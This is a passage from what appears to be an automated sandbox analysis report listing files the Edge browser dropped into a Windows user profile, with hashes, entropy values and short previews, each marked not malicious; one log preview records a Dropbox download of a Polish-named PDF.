SHA-256:	A2087257F81E2384B0823C5575ECD23C3682A0474E30088D34EAC8CF6A1BAE88
SHA-512:	1F254F33DA7441716EFA2077B974673592191CEA6C25C40D5F018F98C51F6A0228E90D3EE7EFB2ED78EFD504B07BB713795A70BB5AF1F7B8812FB28DC2BD3A43
Malicious:	false
Preview:	2024/12/17-06:12:19.045 1c20 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/MANIFEST-000001.2024/12/17-06:12:19.046 1c20 Recovering log #3.2024/12/17-06:12:19.046 1c20 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\LevelDB/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Visited Links

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	131072
Entropy (8bit):	0.0033616753448762224
Encrypted:	false
SSDEEP:	3:ImtVuAZ+RJsY:IiVuAAEY
MD5:	EA3BACECBC85DB0FF4AA03BDD16D10DF
SHA1:	19FAF4CDF5B548876CC782B994878D03C3BE3808
SHA-256:	7A644BF3634743FBF41E626F689EA2C4DA65537311CB4478A608B56AEC285859
SHA-512:	E8336918530957847426EB4CD8E9C131F9E9191E698DBCB0A4AB551ED8018DAD3ABED864D527B7BC9CA00EEC63D080C54ECE04842B131A22C9F9E509CFDEB87F
Malicious:	false
Preview:	VLnk.....?......?......+................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 10, database pages 91, cookie 0x36, schema 4, UTF-8, version-valid-for 10
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.2652551122597273
Encrypted:	false
SSDEEP:	384:8/2qOB1nxCkMxSAELyKOMq+8yC8F/YfU5m+OlTLVuma:Bq+n0Jx9ELyKOMq+8y9/OwJ
MD5:	748C55C1E36EE0E15C7C2B62528C0246
SHA1:	D268F2345F0EE59861E2E477691DFE21582A29A9
SHA-256:	519908CDB55021D66F20D5858FBFB3DA902BECE6C1DDA6925061FF3301CB2D9E
SHA-512:	9AF0D5A02EE0255EBB7655985DBAA5E83C9E88D9DE642251EF5B7A450041E3B5062A8134F25439468354E6174458F4149307ED4CD69711DEF417A5E3E1FDFB3C
Malicious:	false
Preview:	SQLite format 3......@ .......[...........6......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Web Data-journal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2568
Entropy (8bit):	0.06569804787746028
Encrypted:	false
SSDEEP:	3:fRl1l3/Plhx:D/R
MD5:	DF562D19E87001C42C7AF8E67B88D1DF
SHA1:	24925EDFD8FE158BC7A6976B0B613A962381929B
SHA-256:	B7AAB1D02ED1555B3C2214581E5EB6E6572AF7CCEE2D616FC3943C03C0AE812A
SHA-512:	0A8E6DD3D42BF0923BF707757B3768000C516B4C37A5108CDC1776CCFD636F129378CC8936A1907E62B0165490908BFED5A04F2F4F0831C4DC4518BC2771DD92
Malicious:	false
Preview:	............ ..T...`.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................../....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\WebStorage\QuotaManager

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 10, cookie 0x7, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.41235120905181716
Encrypted:	false
SSDEEP:	48:Tnj7dojKsKmjKZKAsjZNOjAhts3N8g1j3UcB:v7doKsKuKZKlZNmu46yjx
MD5:	981F351994975A68A0DD3ECE5E889FD0
SHA1:	080D3386290A14A68FCE07709A572AF98097C52D
SHA-256:	3F0C0B2460E0AA2A94E0BF79C8944F2F4835D2701249B34A13FD200F7E5316D7
SHA-512:	C5930797C46EEC25D356BAEB6CFE37E9F462DEE2AE8866343B2C382DBAD45C1544EF720D520C4407F56874596B31EFD6822B58A9D3DAE6F85E47FF802DBAA20B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.......w..g...........M...w..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\arbitration_service_config.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with very long lines (3951), with CRLF line terminators
Category:	dropped
Size (bytes):	11755
Entropy (8bit):	5.190465908239046
Encrypted:	false
SSDEEP:	192:hH4vrmqRBB4W4PoiUDNaxvR5FCHFcoaSbqGEDI:hH4vrmUB6W4jR3GaSbqGEDI
MD5:	07301A857C41B5854E6F84CA00B81EA0
SHA1:	7441FC1018508FF4F3DBAA139A21634C08ED979C
SHA-256:	2343C541E095E1D5F202E8D2A0807113E69E1969AF8E15E3644C51DB0BF33FBF
SHA-512:	00ADE38E9D2F07C64648202F1D5F18A2DFB2781C0517EAEBCD567D8A77DBB7CB40A58B7C7D4EC03336A63A20D2E11DD64448F020C6FF72F06CA870AA2B4765E0
Malicious:	false
Preview:	{.. "DefaultCohort": {.. "21f3388b-c2a5-4791-8f6e-a4cad6d17f4f.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.BingHomePage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Covid.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Finance.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Jobs.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.KnowledgeCard.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Local.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NTP3PCLICK.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.NotifySearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Recipe.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.SearchPage.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Sports.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Travel.Bubble": 1,.. "2354565a-f412-4654-b89c-f92eaa9dbd20.Weather.Bubble": 1,.. "2cb2db96-3bd0-403e-abe2-9269b3761041.Bubble": 1,.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\c7ed0b6d-f1af-4452-a2a4-82a2338fa555.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13168
Entropy (8bit):	5.271491272761833
Encrypted:	false
SSDEEP:	192:stFJ99QTryDiooKbatSuyMsuIcssZihMskV03682bV+FiA66WIvO5aFIMYbPuYJ:stFPGoMSu9suNsfhMVJbGix6WYO5aTYj
MD5:	7442BA98464E992020F5BD3845009D70
SHA1:	C677E8B84EAF84C0CA66DAD9670745D95222F413
SHA-256:	06DCB19140E3CAEFC11D551B3FE5B4BD03094EA05D00F61155CC22352DBF8701
SHA-512:	53A23C076AECCB039B7AF20216515C928BC48F7CCAA7D6C5FE7DF2A5A168B57C9A6C0711397D1346782300082536B92678419531537FB9A36C807E7CD32E5EB7
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\ccd97cce-2690-4131-9c3e-e7b554be8b6f.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40504
Entropy (8bit):	5.561641983147077
Encrypted:	false
SSDEEP:	768:7MYhhm7pLGLhO0WPX7fVP8F1+UoAYDCx9Tuqh0VfUC9xbog/OVVqSBMQ4rw92aGc:7MYhhGchO0WPX7fVPu1jaYqSGQp92aGc
MD5:	FFE4211142719C360902AA6A52A69B1D
SHA1:	B1269DDDC2A733A48A0F0FCF787BEF22712F1607
SHA-256:	2BD7B47E63ABF6923E578415C2BD82D4ED8AC3BB6A19F7E1C9CBC2ABD8AEBCA4
SHA-512:	727106C1F10B3C2C8BAB28088B6A329A38FE37682067B548144991F872D8B9CC968FB9FEEEA6F740AA8F7FB617C7D0A6A996C70D7D0E61C2589E5EFAB2BA41E2
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907539037092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907539037092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\databases\Databases.db

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 1, database pages 7, cookie 0x4, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	0.3410017321959524
Encrypted:	false
SSDEEP:	12:TLiqi/nGb0EiDFIlTSFbyrKZb9YwFOqAyl+FxOUwa5qgufTJpbZ75fOSG:TLiMNiD+lZk/Fj+6UwccNp15fBG
MD5:	98643AF1CA5C0FE03CE8C687189CE56B
SHA1:	ECADBA79A364D72354C658FD6EA3D5CF938F686B
SHA-256:	4DC3BF7A36AB5DA80C0995FAF61ED0F96C4DE572F2D6FF9F120F9BC44B69E444
SHA-512:	68B69FCE8EF5AB1DDA2994BA4DB111136BD441BC3EFC0251F57DC20A3095B8420669E646E2347EAB7BAF30CACA4BCF74BD88E049378D8DE57DE72E4B8A5FF74B
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g.....P....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\f1f06c3b-d9aa-4bc8-a85b-e929384dc7fb.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	13333
Entropy (8bit):	5.268944918489649
Encrypted:	false
SSDEEP:	384:stFPGoMSu9suNsfhMVJbGix6WbOXlaTYj:sHOoDuBsfObGixWaTYj
MD5:	873F3E8E7545AFFA1039E5543518E6AB
SHA1:	F77633D706CEC5DC6BA38144A7A0F2F555536C84
SHA-256:	CEC3D8BBED2775AA70A0BEC4740E1E7CC0509E4DD783B35997DB67A74E962035
SHA-512:	1EF18458A444C37E266210DE3277AF01C0C4F6F8D80D92B8135EF30AD9F1BD31EA0D24951E5EFB29D5383B0E14E10B9C96E3097152C2169BE7972FE0526DB589
Malicious:	false
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13378907540449411","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340900603634208","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"history_in_shoreline_activated":true,"hub_app_non_synced_preferences":{"apps":{"06be1ebe-f23a-4bea-ae45-3120ad86cfea":{"last_path":""},"0c835d2d-9592-4c7a-8d0a-0e283c9ad3cd":{"last_path":""},"168a2510-04d5-473e-b6a0-828815a7ca5f":{"last_path":""},"1ec8a5a9-971c-4c82-a104-5e1a259456b8":{"last_path":""},"2354565a-f412-4654-b89c-f92eaa9dbd20":{"last_path":""},"25fe2d1d-e934-482a-a62f-ea1705db905d":{"last_path":""},"2caf0cf4-ea42-4083-b928-29b39da1182b":{"last_path":""},"2cb2db96-3bd0-403e-abe2-9269b3761041":{"last_path":""},"35a43603-bb38-4b53-ba20-932cb9117

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\fd22ebc6-b0c4-48bf-89dd-2d36e80c960e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	28366
Entropy (8bit):	5.558545254987095
Encrypted:	false
SSDEEP:	768:75uhLm7pLGLhZ0WPX7fYP8F1+UoAYDCx9Tuqh0VfUC9xbog/OVABML4rwqp/tug:75uhLGchZ0WPX7fYPu1ja1GLpmtD
MD5:	1E44062658487E0575089326CD7A0954
SHA1:	06C9A9C3AA30DCE8EB73EA79F21A10F69B5BD5A0
SHA-256:	8A5A338B28D5E09B3EDA985545350EE76804B6369ACFACB735483AC0341DA200
SHA-512:	A4E975D9FAF11C7A125EFF5006F8BCB83D76323756F06C81997D82DCE702BC9D2D6C82FFDB6FD69267DB87BE9D8EBC093C592C2D442E035C78EDEE95BDCF8727
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13378907539037092","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13378907539037092","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-shm

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.05999427788280419
Encrypted:	false
SSDEEP:	6:Gy0j+6Iy0j+6/R89XCChslotGLNl0ml/Vl/Vl/U8oQXmlXCUWls:Cj+6ITj+6/RspEjVl/PnvoQW1
MD5:	354F22D898CC080857455250A555FA81
SHA1:	81FC2C28937BB42FD703FE758CA415C60700F005
SHA-256:	D5C16655FA8B469BDA2155E7D971D70917EAD5264E0FFF88453A34DEB1547A5D
SHA-512:	BAE3D049886A1DE97CFC7C09CDB2003C9E54A58094EAF332A73F60CC32ACADA60D37F73BE3424919BE6067D464033FADF16F93139F7634FC42E7AAE72D56CA14
Malicious:	false
Preview:	..-.......................cJap.8.4..}.....d".....-.......................cJap.8.4..}.....d"...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\load_statistics.db-wal

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite Write-Ahead Log, version 3007000
Category:	dropped
Size (bytes):	119512
Entropy (8bit):	0.7415442451892504
Encrypted:	false
SSDEEP:	96:jjx7/02b2dNshTNsOO5NsvlNsEfokCgY+/:jt7/02b2oMqvQEY+/
MD5:	FC43EB5E5CC46E2D95E768F05E8DAB1E
SHA1:	CF111EA5200BCA7AC1829A3CAE85F065E215960B
SHA-256:	2A1514256BB1FBEECF315DB511190411394ADFD594A10916BA1DF03B4DBF4937
SHA-512:	3FFF027A304E64B23E884F73DE5FCDE401BFB7EB7FAC87F6D6B7B0D2E614F17F2C678D0DBD3A12E4B8076B082B7D51E81298589A4E779FE5C8525A132D8697C1
Malicious:	false
Preview:	7....-...........4..}...8.?L.0.........4..}........C.SQLite format 3......@ ..........................................................................j.............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4918
Entropy (8bit):	5.8900943641339305
Encrypted:	false
SSDEEP:	48:iDJyhDWYidpLeMidpDx2alpidpLeMidpDxUZwkFlY5B3idpLeMidpDx9wswNIuq0:aJ4DWVsLDl0sLuZZSBysLv5xBysLv54b
MD5:	21E1537C7D3E191B59AE408366A924DE
SHA1:	716F10131BF596FABCEA670C5D427EFBD0DAF35B
SHA-256:	C8AA8D154C45605D3F4EA70AE8CC83CED5252C3FA030C6214F8AC746D9D2C4E6
SHA-512:	21F92E017A557F8DDEC79F1398E1BA80FB2151B96E9093255959786003EA0EC67836EEE0E319A8E2040569D5BE2AE8D2A221F714086B61A2FA82D34DA1F251A9
Malicious:	false
Preview:	A..r.................20_1_1...1.,U.................20_1_1...1..}0................39_config..........6.....n ....1u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=...............u}.=..............._...;...............#38_h.......6.Z..W.F.....q......q...........V.e.................,.2...............021_download,a423a2eb-01fb-4b6c-8b12-109280a537ec......$a423a2eb-01fb-4b6c-8b12-109280a537ec.................".....https://www.dropbox.com/scl/fi/51s9d8onfy15b992c2555/Dokument-analizy-narusze-praw-autorskich.pdf?rlkey=rd8jt5nvhndaetvxdprpig90q&dl=1...https://uc99ca5580ec3aa1736a13fce9cf.dl.dropboxusercontent.com/cd/0/get/Cgb0BxxVTZj3W5VPGOATby63qn02Phmng9h4

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.215516558992725
Encrypted:	false
SSDEEP:	6:7++q2P923oH+TcwtfrK+IFUt8OLNZmw+OLRVkwO923oH+TcwtfrUeLJ:7vv4Yeb23FUt8OZ/+Oz5LYeb3J
MD5:	E44520E1988D5B4725F067A829B62505
SHA1:	643054EBB492D51F7516BA656759AB939A03DA84
SHA-256:	705D4695AEB1BD56022008B63CFD01802C2AABDF4B858D573C78AE254D2C12AA
SHA-512:	522D2984DEFBD41DCEBE48710A52B3B5D67C813EAD5779551569CE2EDBD1A0DCF11C193903FD9141E2807BAF349264DB28A978A15BA66DDDB5701B1D25651BA8
Malicious:	false
Preview:	2024/12/17-06:12:20.508 1c18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/17-06:12:20.509 1c18 Recovering log #3.2024/12/17-06:12:20.509 1c18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	324
Entropy (8bit):	5.215516558992725
Encrypted:	false
SSDEEP:	6:7++q2P923oH+TcwtfrK+IFUt8OLNZmw+OLRVkwO923oH+TcwtfrUeLJ:7vv4Yeb23FUt8OZ/+Oz5LYeb3J
MD5:	E44520E1988D5B4725F067A829B62505
SHA1:	643054EBB492D51F7516BA656759AB939A03DA84
SHA-256:	705D4695AEB1BD56022008B63CFD01802C2AABDF4B858D573C78AE254D2C12AA
SHA-512:	522D2984DEFBD41DCEBE48710A52B3B5D67C813EAD5779551569CE2EDBD1A0DCF11C193903FD9141E2807BAF349264DB28A978A15BA66DDDB5701B1D25651BA8
Malicious:	false
Preview:	2024/12/17-06:12:20.508 1c18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/MANIFEST-000001.2024/12/17-06:12:20.509 1c18 Recovering log #3.2024/12/17-06:12:20.509 1c18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	787
Entropy (8bit):	4.059252238767438
Encrypted:	false
SSDEEP:	12:G0nYUtTNop//z3p/Uz0RuWlJhC+lvBavRtin01zvZDEtlkyBrgxvB1ys:G0nYUtypD3RUovhC+lvBOL+t3IvB8s
MD5:	D8D8899761F621B63AD5ED6DF46D22FE
SHA1:	23E6A39058AB3C1DEADC0AF2E0FFD0D84BB7F1BE
SHA-256:	A5E0A78EE981FB767509F26021E1FA3C506F4E86860946CAC1DC4107EB3B3813
SHA-512:	4F89F556138C0CF24D3D890717EB82067C5269063C84229E93F203A22028782902FA48FB0154F53E06339F2FDBE35A985CE728235EA429D8D157090D25F15A4E
Malicious:	false
Preview:	.h.6.................__global... .t...................__global... .9..b.................33_..........................33_........v.................21_.....vuNX.................21_.....<...................20_.....,.1..................19_.....QL.s.................18_.....<.J\|.................37_...... .A.................38_..........................39_........].................20_.....Owa..................20_.....`..N.................19_.....D8.X.................18_......`...................37_..........................38_......\e..................39_.....dz.\|.................9_.....'\c..................9_.......f-.................__global... .\|.&R.................__global... ./....................__global... ..T...................__global... ...G..................__global... .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.200884892825878
Encrypted:	false
SSDEEP:	6:78t+q2P923oH+TcwtfrzAdIFUt8OoZZmw+ORRVkwO923oH+TcwtfrzILJ:78ov4Yeb9FUt8OU/+Oh5LYeb2J
MD5:	F6AE01DEF906ACF6FBB5E16C9EC3F241
SHA1:	E55AA460719BA7A0976C6437F122D878FC84AFA1
SHA-256:	885363E801AD92984D0E8826AC6F3B06C424359B6E002E121189CBD6207EED3E
SHA-512:	1CE9792150175DCC8015AC21885AD9FE7DB38499295B5F68E17585EF1E9B801007EB0692E9A2E74E755480585A535B52E7029FBEEFDDE0F8B64BB723719AEC15
Malicious:	false
Preview:	2024/12/17-06:12:20.498 1c18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/17-06:12:20.502 1c18 Recovering log #3.2024/12/17-06:12:20.503 1c18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	342
Entropy (8bit):	5.200884892825878
Encrypted:	false
SSDEEP:	6:78t+q2P923oH+TcwtfrzAdIFUt8OoZZmw+ORRVkwO923oH+TcwtfrzILJ:78ov4Yeb9FUt8OU/+Oh5LYeb2J
MD5:	F6AE01DEF906ACF6FBB5E16C9EC3F241
SHA1:	E55AA460719BA7A0976C6437F122D878FC84AFA1
SHA-256:	885363E801AD92984D0E8826AC6F3B06C424359B6E002E121189CBD6207EED3E
SHA-512:	1CE9792150175DCC8015AC21885AD9FE7DB38499295B5F68E17585EF1E9B801007EB0692E9A2E74E755480585A535B52E7029FBEEFDDE0F8B64BB723719AEC15
Malicious:	false
Preview:	2024/12/17-06:12:20.498 1c18 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/MANIFEST-000001.2024/12/17-06:12:20.502 1c18 Recovering log #3.2024/12/17-06:12:20.503 1c18 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\shared_proto_db\metadata/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Browser

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	120
Entropy (8bit):	3.32524464792714
Encrypted:	false
SSDEEP:	3:tbloIlrJFlXnpQoWcNylRjlgbYnPdJiG6R7lZAUAl:tbdlrYoWcV0n1IGi7kBl
MD5:	A397E5983D4A1619E36143B4D804B870
SHA1:	AA135A8CC2469CFD1EF2D7955F027D95BE5DFBD4
SHA-256:	9C70F766D3B84FC2BB298EFA37CC9191F28BEC336329CC11468CFADBC3B137F4
SHA-512:	4159EA654152D2810C95648694DD71957C84EA825FCCA87B36F7E3282A72B30EF741805C610C5FA847CA186E34BDE9C289AAA7B6931C5B257F1D11255CD2A816
Malicious:	false
Preview:	C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s. .(.x.8.6.).\.M.i.c.r.o.s.o.f.t.\.E.d.g.e.\.A.p.p.l.i.c.a.t.i.o.n.\.m.s.e.d.g.e...e.x.e.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Last Version

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	13
Entropy (8bit):	2.7192945256669794
Encrypted:	false
SSDEEP:	3:NYLFRQI:ap2I
MD5:	BF16C04B916ACE92DB941EBB1AF3CB18
SHA1:	FA8DAEAE881F91F61EE0EE21BE5156255429AA8A
SHA-256:	7FC23C9028A316EC0AC25B09B5B0D61A1D21E58DFCF84C2A5F5B529129729098
SHA-512:	F0B7DF5517596B38D57C57B5777E008D6229AB5B1841BBE74602C77EEA2252BF644B8650C7642BD466213F62E15CC7AB5A95B28E26D3907260ED1B96A74B65FB
Malicious:	false
Preview:	117.0.2045.47

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Local State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	44137
Entropy (8bit):	6.090777363023321
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBMHwuF9hDO6vP6O+8tbzy70FqHoPFkGoup1Xl3jVu:z/Ps+wsI7ynEb6Ztbz8hu3VlXr4CRo1
MD5:	44A0304F315F6B7CD9C799159501B165
SHA1:	04B8504BC9C2C2761ECC97A16C5C8896631505D7
SHA-256:	73F0FCB32081E725B4E7F86D6BE0734A68A609F07D9B54FA287A9397CE571573
SHA-512:	0F3F116B9A06F21C74FAE648EF55C30187F52AFC9B897E188AB258CE0C07C176D0DA76C9CB50587D2C36D85214D1581E619ADA0651715EEAA20A0C02A2955282
Malicious:	false
